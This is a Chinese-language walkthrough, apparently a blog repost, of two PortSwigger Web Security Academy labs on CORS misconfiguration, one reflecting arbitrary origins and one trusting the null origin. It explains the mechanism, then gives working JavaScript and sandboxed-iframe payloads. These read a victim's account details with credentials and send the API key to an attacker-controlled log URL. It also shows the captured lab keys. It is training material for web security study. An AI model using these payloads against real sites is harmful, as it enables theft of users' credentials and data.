【BP靶场portswigger-客户端13】跨来源资源共享(CORS)-4个实验(全)(上)

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 【BP靶场portswigger-客户端13】跨来源资源共享(CORS)-4个实验(全)(上)

一、跨源资源共享(CORS)


1、简述:


跨源资源共享(CORS)是一种浏览器机制,它允许对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略的灵活性( 标准操作规程).但如果网站的CORS策略配置和实施不当,也可能会导致跨域攻击。CORS无法抵御跨源攻击,如跨站点请求伪造 (CSRF)


2、同源政策


同源策略是一种限制性的跨源规范,它限制网站与源域之外的资源交互的能力。同源策略以应对潜在的恶意跨域交互,如一个网站窃取另一个网站的私人数据。它通常允许一个域向其他域发出请求,但不允许访问响应。


3、放宽同源政策


1、同源政策的限制性很强,因此设计了各种方法来规避这些限制。许多网站与子域或第三方网站的交互方式需要完全跨源访问。使用跨来源资源共享(CORS)可以有控制地放宽同源政策。


2、跨源资源共享协议使用一组HTTP头,这些头定义了受信任的Web源和相关属性,例如是否允许经过身份验证的访问。这些信息在浏览器和它试图访问的跨源网站之间的头交换中组合。


二、CORS配置问题导致的漏洞


1、服务器生成ACAO头从客户端指定的原始标头


1、一些应用程序需要提供对许多其他域的访问。维护允许的域列表需要不断的努力,任何错误都有可能破坏功能。因此,一些应用程序采取了有效地允许来自任何其他域的访问的简单途径。


2、一种方法是从请求中阅读Origin头,并包含一个响应头,声明请求源是允许的


。例如,考虑接收以下请求的应用程序:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
响应如下:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
这些报头声明允许从请求域(malicious-website.com)进行访问,并且跨源请求可以包括Cookie(Access-Control-Allow-Credentials:true),因此将在会话中处理。


3、由于应用程序在Access-Control-Allow-Origin标头中反映任意来源,这意味着任何域都可以访问易受攻击域中的资源。如果响应包含任何敏感信息(如API密钥或CSRF令牌),可以通过在网站上放置以下脚本来检索此信息:


var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};


4、涉及实验:

实验1:具有基本原点反射的CORS脆弱性


实验1:具有基本原点反射的CORS脆弱性


信息:

1、此网站具有不安全的CORS配置,因为它信任所有来源。

2、解决实验:编制一些JavaScript,使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交管理员的API密钥

3、已有账号:wiener:peter


part1:


登陆账号,查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的,并且响应包含Access-Control-Allow-Credentials标头,表明它可能支持CORS


96d441ebdd0a4694b00bb128e650875f.png


将请求发送到Burp Repeater,并使用添加的标题重新提交:


Origin: https://example.com


观察到原点反映在Access-Control-Allow-Origin标头中


4779729bf82a4a099d5ddf316e883784.png


part2:


利用漏洞


在浏览器中,转到漏洞利用服务器并输入以下HTML(将YOUR-LAB-ID替换为您的唯一实验室URL)


<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
我的是:
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0aed006704c97c69c0aca55c009300fc.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>


单击查看漏洞利用。观察漏洞利用是否有效-您已登录到日志页面,并且您的API密钥位于URL中(点击view即可自测poc,此处不展示了)

返回到利用漏洞攻击服务器,然后单击Deliver exploit to victium(将利用漏洞攻击发送给受害者)

0521fea052a44dbca8b2a1183ea8609f.png



单击“Access log(访问日志)”


3b4e28db35194be3874461953fe92da3.png


检索并提交受害者的API密钥提交


%20%224G8BvfHagAHOQk1BS1YetCZzQQu2zK2L%22
4G8BvfHagAHOQk1BS1YetCZzQQu2zK2L
(引号我去掉了)


并进行URL解码

41fb7fe4576e4dc987ff21d9f697234a.png


2c62a9e7c6674bde9fe6241011a0de0d.png

347b0fc04efc47f788ddf7d735470598.png

完成实验


026a9671e59f48a8827c9fed59942f07.png


2、解析原始标头时出错


1、一些支持从多个来源访问的应用程序通过使用允许来源的白名单来实现这一点。当接收到CORS请求时,将提供的来源与白名单进行比较。如果来源出现在白名单上,则它将反映在Access-Control-Allow-Origin报头中,以便授予访问权限。


如应用程序接收正常请求,如:
GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com
应用产品将对照其允许的来源列表检查提供的来源,如果来源在列表中,则按如下方式反映来源:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com


2、实施CORS原点白名单时经常会出现错误。一些组织决定允许从其所有子域(包括未来尚不存在的子域)进行访问。并且一些应用程序允许从各种其他组织的域(包括它们的子域)进行访问。这些规则通常通过匹配URL前缀或后缀,或使用正则表达式来实现。实现中的任何错误都可能导致访问权限被授予非预期的外部域。


1、假设某个应用程序赠款对以下列字符结尾的所有域的访问权限:
normal-website.com
攻击者可能能够通过注册以下域获得访问权限:
hackersnormal-website.com
2、假设应用程序赠款对以开头的所有域的访问权限
normal-website.com
攻击者可能能够使用以下域获得访问权限:
normal-website.com.evil-user.net


3、白名单中的空原点值


1、原始标头的规范支持值null。


浏览器可能会发送该值null在各种异常情况下的原始标题中:
    跨源重定向。
    来自序列化数据的请求。
    使用 file:协议请求。
    沙盒跨来源请求。


某些应用程序可能会将null支持应用程序的本地开发。


例如,假设应用程序接收到以下跨来源请求:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
并且服务器响应如下:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧生成包含该值的跨源请求null在原始标题中。这将满足白名单,从而实现跨域访问。
例如,这可以使用沙箱来完成 内嵌框架跨来源申请表格:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>


2、涉及实验:


实验2:具有可信空源的CORS漏洞


实验2:具有可信空源的CORS漏洞


1、此网站具有不安全的CORS配置,因为它信任"空"源。


2、解决实验:编制JavaScript,使用CORS检索管理员的API密钥并将代码上载到漏洞利用服务器。并提交api Key


3、已有账号:wiener:peter


part1:


登陆账号,单击"我的帐户",查看历史记录并观察到密钥是通过AJAX请求/accountDetails检索的,并且响应包含Access-Control-Allow-Credentials标头,表明它可能支持CORS


cb4e673d9fcf47a1bd97dd54561d50ee.png



9a66e439cd7a46af97928e1eded1eb5a.png

将请求发送到Burp Repeater,并使用添加的标题重新提交


Origin: null


观察null来源是否反映在Access-Control-Allow-Origin标题中

382cfa5948d44d689289f692aa7d38cd.png

part2:


漏洞利用


在浏览器中,转到漏洞利用服务器并输入以下HTML(将YOUR-LAB-ID替换为实验室URL的URL,将YOUR-EXPLOIT-SERVER-ID替换为漏洞利用服务器ID)


<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>
我的是:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0aba007e04d40bebc0cc042b007400f9.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='https://exploit-0a2b00ef049c0b89c073031b01250021.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>


注意iframe沙箱的使用,因为这会生成一个空的源请求。

单击"查看漏洞利用"(view)。观察漏洞利用是否有效-已登录到日志页面,API密钥位于URL中(测试poc的可行性,就不在这测了,直接到发给受害者)

返回到利用漏洞攻击服务器并单击"将利用漏洞攻击发送给受害者"。

f41572d595ec47c5816ff203eba9f020.png



单击"Access log"(访问日志)


b3667d7130e146d393fce4cd3ed9ddec.png


解码


apikey%22%3A%20%226dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ%22%2C%0A%20%20%22
apikey": "6dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ"

6a3b351a417f49f1b403f1f7b96283e0.png

检索提交api Key完成实验


6dvJDKFcqnMMWuOfBs2NzzZGoz1YPeVQ

2f880807a8f54a4dba827517c1303ce7.png95b86ba19c704f50a77f887796b8a5b8.png


相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
22天前
|
安全
CORS 跨域资源共享的实现原理
CORS 跨域资源共享的实现原理
|
1月前
|
缓存 前端开发 Java
在Java项目中实现跨域资源共享(CORS)
在Java项目中实现跨域资源共享(CORS)
|
2月前
|
安全 前端开发 中间件
中间件在API跨域资源共享(CORS)
【6月更文挑战第16天】
39 7
|
1月前
|
前端开发 JavaScript Java
使用Spring Boot实现跨域资源共享(CORS)
使用Spring Boot实现跨域资源共享(CORS)
|
1月前
|
前端开发 JavaScript Java
使用Spring Boot实现跨域资源共享(CORS)
使用Spring Boot实现跨域资源共享(CORS)
|
3月前
|
前端开发 安全 JavaScript
跨域资源共享(CORS)
跨域资源共享(CORS)
38 0
|
3月前
|
存储 缓存 安全
oss跨域资源共享(CORS Configuration)
oss跨域资源共享(CORS Configuration)
280 4
|
3月前
|
前端开发 API 数据安全/隐私保护
Web前端开发中的跨域资源共享(CORS)解决方案
【2月更文挑战第5天】在Web前端开发中,跨域资源共享(CORS)是一个常见的挑战。本文将探讨CORS的概念和原理,并介绍一些常用的解决方案,包括服务器端配置和前端处理方法,帮助开发者更好地应对跨域请求问题。
215 4
|
2月前
|
前端开发 安全 JavaScript
Spring Boot2 系列教程(十四)CORS 解决跨域问题
Spring Boot2 系列教程(十四)CORS 解决跨域问题
|
3月前
|
存储 安全 前端开发
第五章 跨域资源共享(CORS):现代Web开发中的关键机制
第五章 跨域资源共享(CORS):现代Web开发中的关键机制
125 1